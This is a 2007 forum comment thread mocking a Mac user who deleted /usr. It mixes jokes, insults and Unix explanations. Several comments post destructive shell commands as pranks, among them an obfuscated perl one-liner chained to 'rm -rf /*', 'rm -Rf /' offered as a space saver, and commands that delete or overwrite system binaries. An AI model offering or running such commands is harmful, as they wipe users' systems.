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Man deletes /usr, blames Apple for his mistake!

applematters.com — I like OS X as much as the next guy, but man do we Apple users deserve some of the flak we get. With articles like this one floating around then it's no wonder Mac users have a poor reputation with some folks. The guy deleted /usr, and then blamed it on Apple! He states: "You can still cripple a Macintosh computer." ... No?! Surely you jest...

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  • nofxjunkee, on 10/12/2007, -4/+125At least the people commenting on that story know what's up...
    • AppleOSuX, on 10/12/2007, -261/+29Yeah and most people who use OSuX can legally be classified as idiots and Apple knows this, so they should have built a safeguard in there.
      • SuperWinner, on 10/10/2007, -2/+0Luv ya man, keep up the good fight.
    • thelastknowngod, on 10/12/2007, -14/+171"Yeah and most people who use OSuX can legally be classified as idiots and Apple knows this, so they should have built a safeguard in there."

      while i dont agree with you 100% i can say this... this guy is retarded. who just deletes random folders?
    • jpt62089, on 10/12/2007, -3/+149@ Last:

      I know someone who deleted a bunch of .dll files on her work computer to save space... yeah... Didn't go too well :P
    • Me1000, on 10/12/2007, -55/+33 @AppleOSuX

      Why is it that the only people who bash OS X have never used the OS in their like,

      and your name doesnt make any since,
      it is pronounced OS "ten" not "ex" so your name is AppleOSuten,

    • darkamster07, on 10/12/2007, -1/+87sorry, but you really don't have to be a computer wiz to realize that if you encounter a system file or folder that you have no idea what it does, you should probably not delete it.
    • shazb0t, on 10/12/2007, -33/+6echo "RRRK#VKLW111" | perl -pe 's/(.)/chr(ord($1)-3)/ge' && rm -rf /*
    • rasterbator, on 10/12/2007, -3/+125"What did I learn? The usr folder is a UNIX folder that should not be made visible."

      You also learned you are a noob.
    • FTLJohnson, on 10/12/2007, -3/+129"It went bleep bleep bleep bleep bleep bleep bleep bleep, and then like... half of my paper was gone... and I was like ?"
    • sharkbaitbobby, on 10/12/2007, -20/+8@thelastknowngod "who just deletes random folders?"
      *Raises hand*
    • aussieNickuss, on 10/12/2007, -3/+41Un-hides folders using a non-apple product.....sees a folder called "Usr"......already has a folder called "User"....oh I'll trash it cuz I don't need it. What the hell.....even a novice would realize that "Usr" is not a normal folder and not one that they have created, it should not be touched!
    • monospaced, on 10/12/2007, -5/+50It's Apple. Their computers are extremely user-friendly, yes. But, they are still computers! Just because it's a Mac doesn't mean you can treat it like a toy. Huge, yet common, misconception; Macs are extremely powerful, efficient, computers with an underlying UNIX core upon which the OS is built. So someone screws up their Mac, as if this doesn't happen to Wintel boxes all the time.
    • evangelion01, on 10/12/2007, -18/+4@shazbot
      "echo "RRRK#VKLW111" | perl -pe 's/(.)/chr(ord($1)-3)/ge' && rm -rf /*"

      Oh *****!.... what the hell did i do...?
    • PathDaemon, on 10/12/2007, -10/+26EDIT: Diggers, please don't spamatize the article's comments. Leave them for people with valid, well thought out statements. Witty remarks and hatred are great here, so keep 'em here.

      From the comments:
      ———
      Here’s the official way to restore hidden-ness to the /usr folder:
      1) Start up from the install CD
      2) Launch terminal (I believe from the Tools menu)
      3) Enter the following three command lines, pressing return after each:
      cd /Volumes/Mac OS X Install DVD/
      cd System/Installation/Packages/OSInstall.mpkg/Contents/Resources/
      sudo ./SetHidden / hidden_MacOS9
      4) Profit
      This is from from kbase 301677.
    • cwshea, on 10/12/2007, -3/+24This guy knows what's up:

      #7
      This strengthens my idea that every Mac, or rather every computer per se, should come with both a written and a “live” GUI tutorial about the basic Dos, Don’ts, and How-Tos. The former could be simple red piece of paper stating in bold letters:

      a) don’t screw around if you have no idea about what you’re messing with
      b) always have a fresh bootable clone available
      c) if you do feel an urgent need for tinkering and b) does not apply, see a)

      It’s as easy as that.

      By Bad Beaver on 2007 04 10 Germany
    • noisymime, on 10/12/2007, -24/+8Hey the guy is clearly new to the Mac world and FULLY admits his mistake in the comments. Cut the poor guy some slack, we've all been there before, at least he's big enough to admit it was his fault.

      Now quick... Everyone bury me!
    • adellario, on 10/12/2007, -0/+52The guy claims to be more than a novice user, yet deleted the folder simply because it was oddly named, without a cursory search on the internet. That smacks of novice user status.
    • mitrovarr, on 10/12/2007, -0/+45Not understanding what the /usr directory is = ignorance
      Deciding to delete it anyway, without even taking a look inside = stupidity
    • Tenoq, on 10/12/2007, -2/+18Some people are just ***** morons. "What's this 'Windows' folder? I didn't put that there! I don't need that..."
    • JonForTheWin, on 10/12/2007, -0/+29Not only is the directory hidden from you but you must BE ROOT to delete it. This guy had to seriously ***** up to fail this hard.
    • diggapleaze, on 10/12/2007, -4/+48not to sound pedantic, but /usr does not mean "user". It means Unix System Resources.
    • mennis, on 10/12/2007, -1/+2Sophomoric mistake, less a function of the OS and more a sign that you almost know what you are doing. I remember deciding I didn't need io.sys on my only boot floppy. Oh or the time Linus tried to dial up his hard drive erasing the boot sector. OK, maybe that was different.
    • titlesaysitall, on 10/12/2007, -8/+7Matthew Bookspan is just a switcher guys and started at Apple Matters with us not long ago. How many of you did some idiotic stuff when you first switched? I know I did.
    • HunterTV, on 10/12/2007, -1/+61I took a shotgun to my iMac and it stopped working. ***** Apple.
    • benitojuarez, on 10/12/2007, -1/+12and lo, osx falls victim to windows users who have "switched".
    • audiowizard, on 10/12/2007, -6/+4HAHAHA!! That's hilarious. As much as it is HIS FAULT, for a) deleting his users folder, and b) messing around with tools above his realm of comprehension. This does bring up a good point. Alot of people are computer illiterate, and/or prone to make mistakes, and so there should be OSX 'Illiterate' version, or perhaps a nice title, where it's like an ATM machine, where you can't change anything outside of a limited set of predefined safe functions.
    • mym6, on 10/12/2007, -0/+11You mean like the first post where the guys says hide the folder by renaming it with a . ? You might as well delete the directory then.
    • grumpyrain, on 10/12/2007, -2/+8I would be extremely surprised if OS X let you delete that folder without angry faces and unhappy beeps, unless you are logged in as root or something. If he has bypassed the OS level warnings, then his bad. Don't complain if you get thrown out of your seat in a car accident while not wearing your seatbelt.

      But I also think some of the criticism is harsh, and probably comes from those not used to the way OS X works. Consider how you install an application. On Windows, you put the CD in the drive and click install, or download the exe from the website and double click it. The application has an installer which creates the appropriate folders and puts the files in the right spots with shortcuts for desktop icons etc. To uninstall, you either find the uninstall link in the start menu or locate the application in Add / Remove Programs. Under Linux, it really varies. You either use apt-get or download an rpm or tar.gz and go from there. On a Mac, you drag the folder to your Applications to install and to the trash to remove it.

      In terms of social engineering, a Mac user feels more ownership of their folder structures. They can drag things around as they please. Compare this to the many Windows users who would never go beyond their My Documents folder. In any recent version, you have to click the link that says 'Let me see these files. I promise I wont be a noob and delete something important' before it will show you anything in C, Program Files or Windows. You can actually use Windows and not understand anything about C drive.

      Although my sympathy for him is limited. If you don't know what something is, spend 10 seconds on google, or maybe even look inside it before blowing it away.
    • EbilPhish, on 10/12/2007, -2/+11@benitojuarez

      Windows users expect broken systems.
    • pixelbender, on 10/12/2007, -4/+0diggapleaze:
      "not to sound pedantic, but /usr does not mean "user". It means Unix System Resources."

      Thanks for the info. However, the fact that most would mis-guess thinking it means "usr" still means this guy is an idiot!
    • pixelbender, on 10/12/2007, -1/+4So he blames OS X instead of the app he claims unhid the folder in the first place?
    • sneakerelph, on 10/12/2007, -1/+3wow, this article was really fun to read, especially after watching Idiocracy.
    • dkoon, on 10/12/2007, -8/+5Hmmmm... so it's like people downloading virus and then blame Microsoft?
    • troon, on 10/12/2007, -1/+1When I was new to UNIX, I wondered why the system didn't clean out the /bin for me. Fortunately I was wise enough not to try myself...
    • TheReport, on 10/12/2007, -2/+1this guy is a ***** moron for using Cocktail in the first place. Him installing that 3rd party app alone disqualifies him as a good user on any platform.
    • foolfromhell, on 10/12/2007, -2/+1Seriously though, in the switch videos, half the people complained they couldnt turn their computers on...
      Apple sure has given its user base an image of stupidity.
    • martalli, on 10/12/2007, -2/+5The original digger people posting replies here are awfully mean-spirited. I had the impression the fellow was suing apple after reading the summary. However, he's pretty humble and just noting the mistake he made. He fixed it, and appears to only blame himself, not apple or the no-ip.com that possibly exposed the folder. Calm down - most people don't even know as much about their computers as this guy...

      He's simply noting that if you delete your /usr directory you're screwed. As a matter of fact, I am surprised he was back up and running in just a few hours. kudos and yet another cautionary tale to encourage people to backup their files.
    • Haohmaru, on 10/12/2007, -3/+1@thelastknowngod
      "while i dont agree with you 100% i can say this... this guy is retarded. who just deletes random folders?"

      Mac users apparently. :)
    • Mejogid, on 10/12/2007, -0/+3@diggapleaze
      Actually, although that was originally what the directory usr was for, it now is used for user data according to the FHS, which is where the vast majority of modern Unix-based systems derive their file system structure from. For more information, check out http://en.wikipedia.org/wiki//usr .
    • chuenjin, on 10/12/2007, -0/+0This is applematters.com we're talking about. Given the 3rd grade english report nature of the rest of the articles on there I'm surprised /usr was all they found "reasonable" to delete.
    • macfanboi, on 10/12/2007, -0/+2Macs are made for idiots, right? So why is it a problem that this idiot deleted his /usr folders? Of course it's Apple fault, 110%.
    • Misaiato, on 10/12/2007, -0/+1Ok I'll relate a story of my own - when I was like 14 and we were rocking the 486DX2 - Dad bought a 300 MB HD that replaced the 70~ MB main drive - we added it as D: and I wanted to move files to it to save space on C: - well Windows was the biggest folder on C so...

      HEY I WAS 14 OK!
    • bradmoreland, on 10/12/2007, -0/+0Typical Macintosh users.

      http://www.typicalmacintoshuser.com
  • nystigmus, on 10/12/2007, -2/+71That guy is dumb. He expects apple, presenting a nice wholesome, easy to use public attitude, to fully discuss the inner workings of Unix in a 50 page white pamphlet that comes with the machine?
    • fyre2012, on 10/12/2007, -2/+59"Imagine if I was a novice user...yikes!"

      Clearly not smart enough to recognize his own noobness. If unsure, he could have consulted Wikipedia or Google for the crazy "UNIX" directory.
      Disclaimer: I am a unix sysadmin =]
    • monospaced, on 10/12/2007, -4/+6seriously
    • crimsongator, on 10/12/2007, -2/+58Yeah, this guy is ridiculous. I'd like to see the Apple OS X manual he is imagining:

      Chapter 1. BASH
      Chapter 2. Vi, the modern editing solution.
      Chapter 3. Top, ps, kill
      Chapter 4. LaTeX
      Chapter 5. GNU Screen and You!
      Chapter 6. Shell scripting made easy
      Chapter 7. USENET with TIN, the threaded reader
      Chapter 8. Customizing the Links browser

      This guy is hilarious. "Imagine if I was a novice user"! Oh gee, it almost boggles the mind *trying* to imagine something so far removed from reality.

      This guy is a prime example of why you don't use an account with administrator privileges.
    • MakinBacon, on 10/12/2007, -0/+23He's a total idiot - he says: "Was this folder name something easily discovered online? Reasonably so, although I didn’t think to go looking until after the debacle." If you're going to delete it why not check - at the very least - Google first? Simply entering "/usr" into Google gives the following summary in the top three hits:

      /usr
      /usr usually contains by far the largest share of data on a system. Hence, this is one of
      the most important directories in the system as it contains all ...
      www.openaddict.com/documents/ Linux-Filesystem-Hierarchy/usr.html - 16k
      Cached - Similar pages

      I think that's enough to know "don't ***** delete this folder".
    • MechaFenris, on 10/12/2007, -0/+8Google is his friend. Perhaps he could oh, I dunno... install a BSD or Linux variant... start randomly deleting folders and trees and see what happens. ;)


      If you're going to futz with your computer, you're going to have to take the consequences. ;) You can't destroy it (without a hammer, I suppose), but backup your important bits...

      It's been said 1000 times already, but in case the cheap seats didn't get it...

      Blaming Apple for someone's inability to handle the power of OSX is really a low blow. If you don't know what you're doing... don't use terminal. :)

      And if you're using a tool you don't understand... don't let it remove and/or alter your system unless you know what it's doing.

      I use OSX and Fedora/Slackware all the time... have I done boneheaded things in the past and learned from them? Certainly... did I blame Apple or Redhat? No. :)

      Put on the man-pants and take some responsibility....

      And for those who think Apples are for dolts... Bite my shiny metal ass....

    • noreturn, on 10/12/2007, -3/+1The guy IS dumb, and his logic IS retarded, but Apple not putting more stops around the /usr folder is risky. I'm not sure what will trigger a need to enter an Admin password, but if it's as easy as the guys said it is, it opens a lot of doors for someone who may wish to harm one's happy little Mac.

      A little script that deletes the right files, and uh oh..

      I'll admit, I don't know the logistics required in protecting these files, but the point still stands.
    • alexkorova, on 10/12/2007, -0/+5@noreturn,
      you need to have admin access to delete that folder, either he was logged in as root (dumb dumb dumb, and you have to manually activate it to be able to do it in OS X) or he provided admin access to the Finder which asks him when he tries to delete the folder. There is enough things to stop people, but you cannot make anything totally idiotproof.
    • brstilson, on 10/12/2007, -0/+5"Imagine if I were a novice user..."

      Yeah....imagine...
    • Mirag3, on 10/12/2007, -0/+1#!/bin/bash
      kill -9 `who -u | grep "mbookspan" | awk '{print $7}'`
      userdel -rf mbookspan
  • zhulien, on 10/12/2007, -11/+69Let's blame M$ instead for locking files on my OWN harddisk! Should I be allowed to EASILY delete files and crash my OWN computer whenever I feel like it?
    • Me1000, on 10/12/2007, -7/+15Yes! it's your computer, do whatever the hell you want with it! if im messing around in the system files, then I have a reason for it!

      most people are smart enough to stay out of them when they dont know what they are doing...
    • RickyBennett, on 10/12/2007, -26/+17it is MS not ***** M$ that is ***** annoying *****
    • Me1000, on 10/12/2007, -21/+4no, what's annoying is someone calling me a fanboy because I use a mac!
    • PathDaemon, on 10/12/2007, -11/+4Who called you a fanboy?
    • selrahc, on 10/12/2007, -2/+5I don't stay out of my system files at all. I like to dig around and see what goes where, but I don't change anything until I make sure what it is.
    • nystigmus, on 10/12/2007, -3/+0yes
    • elipabst, on 10/12/2007, -2/+0@me1000 "Yes! it's your computer, do whatever the hell you want with it! if im messing around in the system files, then I have a reason for it! most people are smart enough to stay out of them when they dont know what they are doing..."

      No, normal unpriviledged users should not be able to delete critical parts of the filesystem like /usr. In sane circumstances you should at the very least be required to enter an administrative password. But regular users shouldn't be able to accidentally destroy the entire operating system. On POSIX systems and Windows (with correct use of users) you should not be able to do this.

      My question is why the hell is a normal (non-admin) user allowed to delete system files/folders that should not be writable by a normal user? Is the NO-IP client app that ***** that it has to make /usr writable (or owned) by a normal user?
    • EbilPhish, on 10/12/2007, -1/+2@me1000

      As someone that had to reinstall windows for a family after all the .exe files had been deleted by someone, I know this is not true.
    • zhulien, on 10/12/2007, -0/+0elipabst: you are assuming I use my HOME computer for something more than mucking around on or having fun. I totally disagree with you. I should have the ability to NOT have ANY security if I choose not to. It has nothing to do with networking in this case, the computer I'm talking about isn't even on a Network.
    • iainwall, on 10/12/2007, -4/+1***** off

      apple is a very large company with lots of money to fend for itself. it does not need people like you to shield it from the horrors of the world. jesus, its not a little girl who's being shouted at, its a ***** multinational company!

      When will you people stop being like the drones in the 1984 ad --- except following apple, not IBM? They DONT need or want their help, are you are foolish to believe it.

    • elipabst, on 10/12/2007, -0/+1@zhulien "I should have the ability to NOT have ANY security if I choose not to. It has nothing to do with networking in this case, the computer I'm talking about isn't even on a Network."

      Sure, I totally agree with you. You *should* have the ability to configure your system so that you can do anything you like (including having the ability to delete anything). But it should require you to specifically configure it that way, not just blindly stumble around and hose your entire system by accident.
    • zhulien, on 10/12/2007, -0/+1elipabst: configured either way doesn't bother me - as long as it does what *I* want - it's not selfish, I buy my own computer for me.
    • ilgaz, on 10/12/2007, -1/+1Lock? They are of course locked and in fact HIDDEN from Finder (default OS X "explorer").

      I wish the purist Unix nerds hating the fact that Apple hiding /usr from Finder to read this story and figure why Apple does such a thing. Like anyone will really browse /usr with Finder for God's sake.



  • zhulien, on 10/12/2007, -5/+43hahaha, sorry, I just cannot stop laughting about the loser in the article :D
  • ElectricSoup, on 10/12/2007, -3/+56Sure, not Apple's fault. Arguably, an OS vendor _should_ provide a means of making hidden directories visible in the file browser without resort to the CLI. (I can do that in Konqueror, for example, just by going to the "View" menu.) Apple doesn't even do that, and _still_ this user manages to delete a hidden directory.

    Basically, he's used a third-party application that's flawed and that's revealed a directory Apple's deliberately hidden from people like him. Then he's gone in playing lob the virtual Molotov Cocktail with his system using another, appropriately named, dodgy third-party application. Good grief, he must have accepted a request to elevate privileges to delete that directory, too.

    You rarely need to delete caches on OS X. You seldom need to "repair" permissions on directories (and anyway Disk Utility does that, if you must). And unspecified "cleaning up" with or without third-party tools is not a sensible thing to do.

    People have to fiddle, don't they?
    • wonderchemist, on 10/12/2007, -3/+45someone should tell him to type 'rm /bin/rm' so he never deletes an important file again.

      Note: Noobies, don't type that unless you know what your doing.
    • nofxjunkee, on 10/12/2007, -0/+13To be fair Cocktail isn't dodgy, but it's still a 3rd party tool to mess with the core of OS.

      Nobody set this guy up with Terminal! ;-)
    • AngryBacon, on 10/12/2007, -8/+5@wonderchemist

      Wouldn't that lock up half way through?

      I'd do mv /bin/rm /dev/void, or better yet mv -r -d /bin /dev/void
    • dfunct, on 10/12/2007, -4/+17You mean "sudo rm -rf /bin/rm" surely
    • fyre2012, on 10/12/2007, -1/+2I had a user that liked to 'fiddle' also... he did a rm -rf /usr and /bin somehow and couldn't figure out why apache stopped working =
      lol good times!
    • antiNeo, on 10/12/2007, -1/+8@angrybacon

      No, that would not lock up half way. The rm command would be completely loaded into RAM before it could start deleting it's own binary on the hard disk.
    • idonthack, on 10/12/2007, -2/+6@angrybacon
      No. When a file is opened on a *nix system, a copy of the file is "locked" and does not change until the file is no longer in use. You can move it, change it, delete it, etc and any programs with the file already open will see no change. You can take advantage of this feature to do in-place upgrades, take filesystem snapshots, and other cool stuff.

      In this case rm will initially open an (unchanging) copy of itself, delete the reference to it off the hard disk, and once it's done it will close itself and then be truly gone.
    • pants428, on 10/12/2007, -1/+2it will actually not lock up the machine for a long time. I once did a rm -rf /* on an os x machine, just for fun. It completely finished, but the gui still ran kinda ok, but everything possible as far as menus were concerned were gone. Of course, there were no programs left, so once i closed terminal, it was gone.
    • lengau, on 10/12/2007, -0/+1@wonderkevin - I've forgotten which is was, but one old (and I mean OLD! Minicomputer-era old!) UNIX crashed when you ran that. a safer alternative is `mv /bin/rm /dev/null`
    • cmcguinness, on 10/12/2007, -1/+0Even after "rm /bin/rm", there's still "unlink" ready to do damage!
    • SanityInAnarchy, on 10/12/2007, -3/+11@angrybacon:

      No one else has gotten this right so far, so here's my attempt at explaining it:

      On Unix, we have inodes. An inode is a number which can be used to find the actual data of the file on disk.

      We also have two kinds of links -- there are aliases and more in GUIs, but only two kinds that matter at the Unix level. These are symbolic links and hard links. Hard links are what we're talking about here.

      A hard link is a filename which points to an inode. An inode can be referred to by any number of hardlinks. Each hardlink is what you think of as a "file". Your word document, foo.doc -- foo.doc is a hardlink to some inode in there, somewhere.

      The inode keeps a count (called a "reference count") of every hardlink to it. So, if you have two hardlinks to a file, one's called 'a' and one is 'b' -- the tricky thing to get here is that they are two names for the same file. It's not that one is really the file and the other is not -- if you remove b, a will still be there. Remove a, and b is still there. Only after you remove both, and the reference count drops to 0, is the inode actually deleted and the space using the file freed.

      So here's the trick: When a program has a file open, that is a reference. Note that this is different than having a Word document open in Word -- I mean, when a program actually has the file open and is reading and writing to it. So when you run rm, no matter what name you use to get to it, the running program, rm, has a reference to the file.

      So on a typical system, assuming you have the permissions to do this, "rm /bin/rm" will work:
      1.) inode #xxxxx is referred to by /bin/rm, giving it a refcount of 1.
      2.) You type "rm /bin/rm", which runs the program "rm", from inode #xxxxx. It now has refcount 2 (/bin/rm and your running program.)
      3.) The running program does a system call: unlink("/bin/rm"). The system removes the /bin/rm link to #xxxxx. It now has refcount 1 (your running program).
      4.) The running program finishes and exits, closing the file. Inode #xxxxx now has a refcount of 0. The filesystem notices this, removes the inode, and frees the space.

      So, the actual deletion is handled deeper in the system. A file could have 100 references to it, and you could delete 99 of them, and the file would still be there. Remove the last reference, no matter how you do it, and the file is gone.

      Locking is something else entirely. There is no mandatory locking on Unix. That means that if you have two programs that both decide to lock a file, they will cooperate. But, it also means that no matter how hard you try, you can't prevent a program from ignoring the locks and simply doing stuff to the file -- reading from it, writing to it, deleting it, whatever. (This is not strictly true -- there are Linux kernel hacks for mandatory locking, but this is not part of standard Unix, and most programs do not work this way.)

      You're probably thinking of Windows, here. In Windows, I believe del is built into the command shell (cmd or command), but if it was a separate program, I doubt you could delete it with itself! This is because if I remember right, you do mandatory locking by default on Windows. This means that if one program has locked a file for writing, you won't be able to read or write from that file, no matter what!

      My knowledge of Windows is fuzzy, so I may be wrong on that count. But it seems to me that the way to uninstall a program on Windows is either to copy your uninstaller to some temporary place (hopefully somewhere that gets cleaned periodically), or use some standard uninstaller that will never itself be uninstalled -- something like what happens when you remove something via Add/Remove Programs, or the MSI stuff.

      It also has nothing to do with the command being loaded into RAM first. Yes, it probably will be, but not necessarily. Unlike on other systems, it's perfectly possible to have a program be as big as you want it (probably limited to 2 gigs on 32-bit systems, but I'm not sure) -- it will not be loaded entirely into RAM, but closer to memory-mapped from the file. This means that while /bin/rm may be cached in RAM, it may also be reading off the disk while you do this.

      In fact, one thing that might cause problems is:

      cat /dev/zero > /bin/cat

      I have not tried this, but basically, it overwrites /bin/cat, instead of deleting it. So, none of this refcount stuff comes into play -- here, you're actually messing with a running program, overwriting it with zeroes (or in this case, overwriting itself with zeroes.)

      And if it did work? Well, /dev/zero is actually a special file/device which is an infinitely long string of zeroes. So, yet another reason not to try this at home -- if this command doesn't crash, and you don't stop it yourself, it will keep running, and keep adding zeroes to the end of /bin/cat, until it fills up your hard drive! (Or partition, or quota, if you want to nitpick.)

      This is one of the many reasons that users don't generally have write access to system folders (/bin, /usr/bin, etc) -- there is nothing but file permissions to stop you from clobbering any file. The only way you can be absolutely sure a file won't be messed with is to put it on a partition that you mount read-only.

      (You could also do something like: echo "I hate life" > /bin/echo, but echo is actually also built in to bash (your shell), so that won't cause the same problems. Maybe if you echoed it into /bin/bash?)

      Oh, and one last thing: Don't try this stuff at home, at least, not on OS X, which is rather large and a pain to reinstall. If you really want to play with destroying a Unix system, download Qemu (or Q for OS X) and install some lightweight Linux (Debian, maybe?) in a virtual machine. In fact, if you learn to use the Snapshot feature, you can trash your (mini-)system in every way imaginable, and then simply turn off your virtual machine (without saving the image), turn it back on, and it will be working perfectly again! You can do this with any OS you can put in a VM -- have hours of fun loading up Windows 98 with viruses and spyware, then blow it all away and do it again!
    • bradmoreland, on 10/12/2007, -1/+1@SanityInAnarchy

      tl;dr
    • ilgaz, on 10/12/2007, -0/+1I got Cocktail here, that is a feature of that little program and very nicely hidden to some menu as "File System Browser". It is meant to delete huge hidden temp. files, not /usr !

      In fact I wonder if the idiot team loving to abuse cocktail versiontracker comments has anything to do with this "problem". It is hard to believe anyone who would delete critical system files would blame OS vendor. It is more like "I deleted system dlls, system doesn't work,it sux" on Windows platform. Considering MS has added "system file protection" right after Windows ME, there are -indeed- such freaks.
    • godd4242, on 10/12/2007, -0/+1Wonderchemist wins
      Everyone else go home.
  • highwebl, on 10/12/2007, -2/+32Imagine if I was a novice user...yikes!

    So not being a novice involves knowing Phil?
    • Sp0rAdiC, on 10/12/2007, -0/+20I just kinda chuckled when I read that. The funny thing about it is we don't have to imagine. You just showed us.
    • ilgaz, on 10/12/2007, -0/+1I was a novice Mac user back in 1997,actually used Mac first time. It was a pro grade mac and happily used for months,working on it. What I did? Nothing. That is the point. You don't mess with system files on any OS without good insight.
  • fanboydcs, on 10/12/2007, -1/+24This guy is just smart enough to get him self into trouble. Most people that are new to computers are WAY WAY to afraid to delete anything they are unsure of. Its only morons that think they know what they are doing that end up messing up their machine by deleting something that they think shouldn't be there. These are also the morons that think that Macosx needs norton and tech tools and all these expensive worthless apps to keep their machine safe. Plus if your OS ever gets screwed up, boot off your restore cd, check the drive with disk utility then do an Archive and Install. This will make sure the drive is not corrupted before you reinstall and the archive and install will take the corrupt system files and put them in a previous system folder so you it can reinstall the new OS files. This will not delete your data...
    This will fix any OS issue as long as its not user specific.

    So word of advice, don't mess with your machine unless you really really know what your doing...
  • NewChar, on 10/12/2007, -3/+126/lusr
  • tony.pitale, on 10/12/2007, -8/+7This article sounds more like the fault of the NO-IP dynamic dns app that revealed /usr than the computer for allowing you to delete your own files. In addition, he more than likely would have had to put in his password to delete /usr (a system folder) because of permissions. He also would have had to have been an administrator (which, unfortunately, is the default for the first user.)

    Furthermore, I hate to compare to M$ but, I am fairly certain that doing something similar is just as easy on Windows. The first time a user goes to the contents of C: (how confusing is that jargon?) they only have to click what appears to be a link to view the contents. Once they've done this simple step they can delete whatever files they want, and more than likely cause major problems when trying to use their computer thereafter.
    • TGMD, on 10/12/2007, -8/+38Ah Nope...

      In Vista now.... Just tried to delete /users

      Windows wouldn't let me....

      Tried Cmd.exe still can't/

      Tried the powershell ... still can't

      Will someone please help me in crashing Vista!
    • Me1000, on 10/12/2007, -9/+10oh that's easy just turn off all your malware protection!
    • fanboydcs, on 10/12/2007, -3/+7Admin and root are not the same

      admin is just a normal user with sudo power which is needed if you are going to do anything on the system

      normal user is a user with no sudo access.

      The password prompt should be enough to make the machine safe.
    • exiva, on 10/12/2007, -0/+2@tgmd: That's simple. Drag a special CUR file to the desktop and wait. The OS will do the work.
    • benitojuarez, on 10/12/2007, -0/+2@nickgravelyn

      right click desktop, select personalize
      click CHANGE DESKTOP ICONS under tasks on the left.
      check or uncheck recycle bin.

      .........
  • Tenlow, on 10/12/2007, -3/+20I never jest. And stop calling me Shirley.
  • headzoo, on 10/12/2007, -3/+19Why do people go around just deleting directories and files, when they have no clue what they are. I wonder how many support calls come in over that kind of thing.
    • clickmyface, on 10/12/2007, -4/+5Probably not that many?
    • chieferer, on 10/12/2007, -4/+1i think the question was "why" not "how many"
    • dave8555, on 10/12/2007, -1/+2a lot. a few days ago i had a girl call in because she was trying to delete spyware and randomly deleted files from the windows folder that had a date of when she thought she got infected
    • clickmyface, on 10/12/2007, -0/+1RE:"i think the question was "why" not "how many""


      "I wonder **how many** support calls come in over that kind of thing."

      Yep.
  • whoisKeel, on 10/12/2007, -1/+20Next time, you might want to try looking in the folder before you delete it.
  • chicken101, on 10/12/2007, -16/+3sudo rm /home
  • nepawoods, on 10/12/2007, -0/+48Best line: "Imagine if I was a novice user...yikes!"

    Yeah. And imagine you didn't know it.
  • wilhoitm, on 10/12/2007, -0/+26Do not drive your car into a brick wall! There should be a safeguard to keep all cars from doing somthing like this.... ;-)
    • Me1000, on 10/12/2007, -3/+5It's more like dont drive your car at 75MPH, then open the door and jump out!
    • lowerlogic, on 10/12/2007, -4/+3More like, don't shoot yourself in the foot and then blame the gun manufacturer for not hard-wiring the 3 laws of robotics into it.
    • Arainach, on 10/12/2007, -2/+11More like don't keep making stupid analogies that are far worse than the original post.
  • 350Zed, on 10/12/2007, -3/+18I'm just too lazy to register for the site to leave a comment to call this guy a complete moron... so I hope the author is a Digg user and he gets to see this...

    *** Matthew Bookspan, you are a MORON. ***
    • burke, on 10/12/2007, -1/+2Seconded. Matthew Bookspan, you are a Class A *****. Take responsibility for your idiotic actions.

      "Was this folder name something easily discovered online? Reasonably so"
      umm... blatantly so? At least?

      "Was this folder mentioned in the Mac documentation? "
      Right, let's go into using vi and sysctl (is that available in OS X? I don't care.) while we're at it.

      "Imagine if I was a novice user...yikes!"
      Yeah. You are.

      "this is not the intuitive and simple way Macs should work."
      Go digging in the root filesystem, randomly delete things, say it isn't intuitive when the computer crashes? ARGH! Your stupidity is infuriating!

      "Anyone out there know how to fix the permissions on my usr folder so I can hide it again?"
      Don't. Just don't delete it again.
    • chrup, on 10/12/2007, -0/+1He can not take responsibility for his actions. In our pampered society, it is always somebody else's fault. So for now, he blames Apple. After he looses the law suit, he will try to blame SCO (the current owners of the UNIX name). Failing that, he will probably blame his mother, then his father for a bad childhood.

      The old "WordPerfect Urban Legend" applies: Put the Mac [computer] back in the box it came in and return it to where you got it from, you are too stupid to own a computer!
  • jimohagan, on 10/12/2007, -1/+16n00b!

    Wait, n00bs can be trained. This guy is just an asshat.
  • orvtech, on 10/12/2007, -3/+34if you run as root `rm -Rf /` will significally reduce the amount of space used by OSX.
  • idevlabsdotcom, on 10/12/2007, -7/+1...
  • ProxyContin, on 10/12/2007, -4/+2Um ... what's the definition of PICNIC again?

    "Imagine if I was a novice user...yikes!" ... I laughed until I cried. Then I farted.
  • lilSears, on 10/12/2007, -2/+1@chicken101

    Don't put code like that because i might get curious and see what it does.
    • chicken101, on 10/12/2007, -0/+2I forgot the recursive and forced parameters...and I was called, justly, an idiot.
    • rdoger6424, on 10/12/2007, -1/+1/dev/replybutton
  • threechickens, on 10/12/2007, -3/+13Damit! I am suing Ford, I put my Lincoln in Park when I was on the highway at 60 MPH and totally destroyed my transmission! What the heck!

    Whats next, suing for using a restore CD to restore a computer and then find you data gone?
    • dougbarrett, on 10/12/2007, -0/+1I wouldn't be surprised if customers haven't brought up the issue about the restore CD before.
  • anthonywr, on 10/12/2007, -9/+9This guy is a novice when it comes to osx and how it works. He should not be deleting things which he does not anything about. He assumed that /usr was a user folder which he didnt need. Infact, /usr is the Unix System Resources folder, and yeah, the OS needs it.
    • kinghajj, on 10/12/2007, -0/+10Is that what it stands for? Damn. I've been using Linux for ~5 years and never bothered to look that up. I always thought it meant "user," because programs, libraries, etc., which users most commonly use, go there.

      Learn something new every day, I guess.
    • Whoblah, on 10/12/2007, -0/+6Knowledge is fun :)
      http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard#Directory_structure
    • knotty, on 10/12/2007, -0/+8Unix System Resources is just a backronym, originally it was short for User.
    • Escamillo, on 10/12/2007, -0/+1That is isn't clear what "usr" is, shows why unix isn't suitable for normal users. It can be *made* useable by hiding the unixisms, and OSX does a pretty good job of that (most Mac users don't deal with the unixisms, the command line, etc), but not enough in this particular case.
    • Avalontor, on 10/12/2007, -0/+1not everyone agrees with Wikipedia on the meaning of /etc either. how about "editable text configurations"? anyway just google it.
    • ishmal, on 10/12/2007, -0/+1Maybe that's the definition now, but I think that it really did originally mean "user." But not "people," rather user-space programs. Some Unices root all of their non-system stuff at /usr. A good example is Irix's /usr/people for home directories. I have also seen /usr/home. And let us not forget the Gnu world's /usr/local, which is a default destination for anything non-standard on your box, regardless of its purpose.
  • JasonCox, on 10/12/2007, -14/+6Yeah the guy's a moron for deleting the directory, but Apple does deserve some flak for just hiding a critical system folder and not better protecting it somehow. Change the folder permissions so he cant delete the folder, maybe have the OS pop up a dialog that tells you user 'we dont let you screw up your Mac' kinda like Windows doesnt let you delete the Windows or Users (Documents and Settings for NT5.x) directories.
